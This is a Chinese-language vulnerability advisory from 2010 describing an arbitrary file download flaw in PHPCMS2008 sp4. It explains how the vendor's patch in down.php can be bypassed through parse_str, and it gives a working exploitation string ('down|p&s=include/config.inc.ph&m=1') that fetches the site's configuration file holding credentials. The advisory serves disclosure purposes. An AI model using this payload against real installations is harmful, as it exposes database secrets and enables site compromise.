PHPCMS2008 100527版本网站管理系统下载任意文件漏洞

来源:岁月联盟 编辑:老鹰 时间:2010-05-28

影响版本:
phpcms2008sp4_utf8_100527

程序介绍:
Phpcms是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个开源的 PHP 开发平台。Phpcms 采用模块化方式开发,功能易用便于扩展,可面向大中型站点提供重量级网站建设解决方案。3年来,凭借 Phpcms 团队长期积累的丰富的Web开发及数据库经验和勇于创新追求完美的设计理念,使得 Phpcms 得到了近10万网站的认可,并且越来越多地被应用到大中型商业网站。

漏洞分析:

phpcms2008sp4 下载任意文件漏洞发布后,27号官方的补丁是这样的:
down.php
if(preg_match('/.php/i',$f) || strpos($f, ":\")) showmessage('地址有误'); //12行
没补丁前是这样的:
if(preg_match('/.php$/',$f) || strpos($f, ":\")) showmessage('地址有误'); //12行
可以看出两者的区别。
但同样是这个文件中:
parse_str($a_k);//8行
知道这里还有更好的利用方法了,再看文件:
download.php
if($m) $fileurl = trim($s).trim($fileurl); //25行左右
 
什么也不说,利用parse_str方法,可以下载任意文件。
而且,parse_str的利用,还可以利用到其他地方,如覆盖下面的某些变量的利用。

漏洞利用:

注册会员
发布一篇下载的文章(不需要通过审核)
下载地址填上:
down|p&s=include/config.inc.ph&m=1
然后预览,再点下载即可。

解决方案:
厂商补丁:
PHPCMS
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.phpcms.cn/